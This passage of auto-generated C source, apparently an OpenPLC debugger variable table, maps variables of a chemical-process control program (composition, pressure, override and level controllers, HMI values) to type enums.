REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, 